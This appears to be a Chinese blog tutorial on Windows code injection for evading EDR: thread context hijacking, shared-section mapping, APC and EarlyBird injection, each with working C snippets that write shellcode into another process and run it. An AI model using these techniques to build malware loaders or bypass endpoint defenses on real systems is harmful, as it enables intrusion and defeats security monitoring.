高级代码注入

2025-9-15 105 9/15

高级代码注入

高级代码注入将经典的代码注入,利用变种劫持映射APCEarlyBird等技术,进阶我们的防御规避手段

知识卡片

  1. 回顾经典注入手段OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread

  1. 线程上下文(Context):包含了CPU寄存器的状态(如RIP、RSP、RAX等),通过GetThreadContextSetThreadContext 可以读取和修改目标线程的上下文。

  2. WIndows中的Section对象(文件映射对象)用于在进程间共享内存,通过CreateFileMappingNtCreateSection创建Section,然后通过MapViewOfFile

    NtMapViewOfSection在多个进程中映射同一块物理内存。

  3. APC是一种在指定线程上下文中异步执行的机制。每个线程都有一个APC队列,当线程进入可警示状态(alertable)时,系统会检查队列并执行APC函数。

  4. EarlyBird注入:在目标进程的早期阶段(即主线程还没开始执行用户代码之前)注入并执行shellcode,从而可能绕过那些在进程启动后才加载的EDR钩子

详细讲解

一、变种技术

变种一用更底层的API,甚至发syscall,绕过用户态的钩子

替换成底层API,例如NtCreateThreadEx 替代 CreateRemoteThread,用 NtWriteVirtualMemory 替代 WriteProcessMemory

高级代码注入

NTAPI函数式系统调用的直接封装,而kernel32.dll里的API最终也会调用NTAPI。EDR喜欢在kernel32或者ntdll下钩子(hook),拦截对这些函数的调用,如果直接使用syscall指令进入内核,就能绕过这些钩子

变种二:"挂起+恢复",其原理就是当目标进程监控线程创建的时候,我们可以找一个现成的线程,令其执行我们的代码

二、线程上下文劫持

原理:每个线程在CPU上运行时,都有一组寄存器的值,其中最重要的就是RIP(指令指针),它指向下一条要执行的指令。如果能修改RIP,让它指向我们的ShellCode,那当这个线程被调度时,CPU就会开始执行我们的代码。

步骤

  1. 找到目标进程中;一个合适的线程

  2. SuspendThread挂起该进程,防止其在被修改的上下文的过程中乱跑

  3. GetThreadContext获取当前线程上下文。

  4. 在目标进程中分配内存,写入ShellCode

  5. 修改上下文中的Rip(x64)或Eip(x86)为ShellCode的地址。

  6. SetThreadContext将修改后的上下文写回线程

  7. ResumeThread恢复线程,线程就会从ShellCode开始执行

// 目标进程句柄 hProcess 和主线程句柄 hThread
// 1. 挂起线程
SuspendThread(hThread);
// 2. 获取线程上下文
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;  // 获取所有寄存器
GetThreadContext(hThread, &ctx);
// 3. 保存原始RIP
ULONG_PTR originalRip = ctx.Rip;
// 4. 在目标进程分配内存并写入shellcode
LPVOID pRemoteBuf = VirtualAllocEx(hProcess, NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, pRemoteBuf, shellcode, shellcode_size, NULL);
// 5. 修改RIP
ctx.Rip = (ULONG_PTR)pRemoteBuf;
// 6. 设置新上下文
SetThreadContext(hThread, &ctx);
// 7. 恢复线程
ResumeThread(hThread);

三、内存区域与视图操作

此模块我们将摆脱WriteProcessMemory这个敏感API

我们可以创建一个Section对象(内存区域),然后将它映射到多个进程的地址空间,这块的物理内存是同一个,所以在一个进程写入数据后,其余进程都可以看到实现进程间的通信,这里只需要MapViewOfFile两次,一次在源进程,一次在目标进程,然后在源进程用memcpy把ShellCode写去就可以了。流程如下:

高级代码注入

// 1. 创建Section
HANDLE hSection = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, shellcode_size, NULL);
if (!hSection) return;
// 2. 在源进程映射视图
LPVOID pLocalView = MapViewOfFile(hSection, FILE_MAP_WRITE, 0, 0, shellcode_size);
if (!pLocalView) return;
// 3. 写入shellcode
memcpy(pLocalView, shellcode, shellcode_size);
// 4. 取消源进程映射(可选,但为了干净,可以保留)
UnmapViewOfFile(pLocalView);
// 5. 在目标进程映射视图(需要目标进程句柄,且有足够的权限)
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
LPVOID pRemoteView = MapViewOfFile2(hSection, hProcess, NULL, 0, 0, 0, PAGE_EXECUTE_READ);
// 注意:MapViewOfFile2 是较新的API,也可以用 NtMapViewOfSection 手动实现
if (!pRemoteView) {
    CloseHandle(hSection);
    CloseHandle(hProcess);
    return;
}
// 6. 现在pRemoteView 在目标进程中就是shellcode的地址
// 可以用创建远程线程或APC执行它
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteView, NULL, 0, NULL);
if (hThread) {
    WaitForSingleObject(hThread, INFINITE);
}
// 清理
UnmapViewOfFile2(hProcess, pRemoteView, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
CloseHandle(hSection);

四、异步过程调用(APC)注入

每个线程都有APC队列,可以调用QueueUserAPC把一个函数指针放进队列,这样后面线程调用任何一个alertable函数,系统会在返回用户模式前,优先执行队列中所有的APC。

APC注入经典步骤:

  1. 创建一个挂起的进程(如notepad.exe),带上CREATE_SUSPENDED标志

  2. 在进程中分配内存并写入ShellCode

  3. 调用QueueUserAPC,把ShellCode地址作为APC函数,插入到主线程(pi.hThread)的队列中

  4. 恢复主线程(ResumeThread

// 创建挂起进程
STARTUPINFOA si = {0};
PROCESS_INFORMATION pi = {0};
CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// 分配内存并写入shellcode
LPVOID pRemoteBuf = VirtualAllocEx(pi.hProcess, NULL, shellcode_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, pRemoteBuf, shellcode, shellcode_size, NULL);

// 插入APC
QueueUserAPC((PAPCFUNC)pRemoteBuf, pi.hThread, (ULONG_PTR)NULL);

// 恢复线程
ResumeThread(pi.hThread);

五、EarlyBird 注入技术

EarlyBird所强调的是时机,要在EDR反应过来前将ShellCode执行触发。

EDR通常通过设置全局钩子映像加载回调来注入自己的DLL,这些操作发生在进程启动的后续阶段,我们就要在其之前实现我们需要的功能行为

EarlyBird经典流程

  1. CreateProcessCREATE_SUSPENDED 标志,创建目标进程

  2. 分配内存写入ShellCode

  3. 选择触发方式:

    • APC注入QueueUserAPC 插入shellcode地址到主线程

    • 线程上下文劫持:修改主线程的RIP指向shellcode

  4. ResumeThread 恢复主线程

下面还是以上面的APC代码逻辑为例

// EarlyBird 注入
BOOL EarlyBirdInject(PCWSTR targetExe, PBYTE shellcode, SIZE_T shellcodeSize) {
    STARTUPINFOW si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    // 创建挂起进程
    if (!CreateProcessW(targetExe, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        return FALSE;
    }
    // 分配内存并写入shellcode
    LPVOID pRemoteBuf = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!pRemoteBuf) {
        TerminateProcess(pi.hProcess, 1);
        return FALSE;
    }
    WriteProcessMemory(pi.hProcess, pRemoteBuf, shellcode, shellcodeSize, NULL);
    // 插入APC
    QueueUserAPC((PAPCFUNC)pRemoteBuf, pi.hThread, NULL);
    // 恢复主线程
    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
    return TRUE;
}

- THE END -
0

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论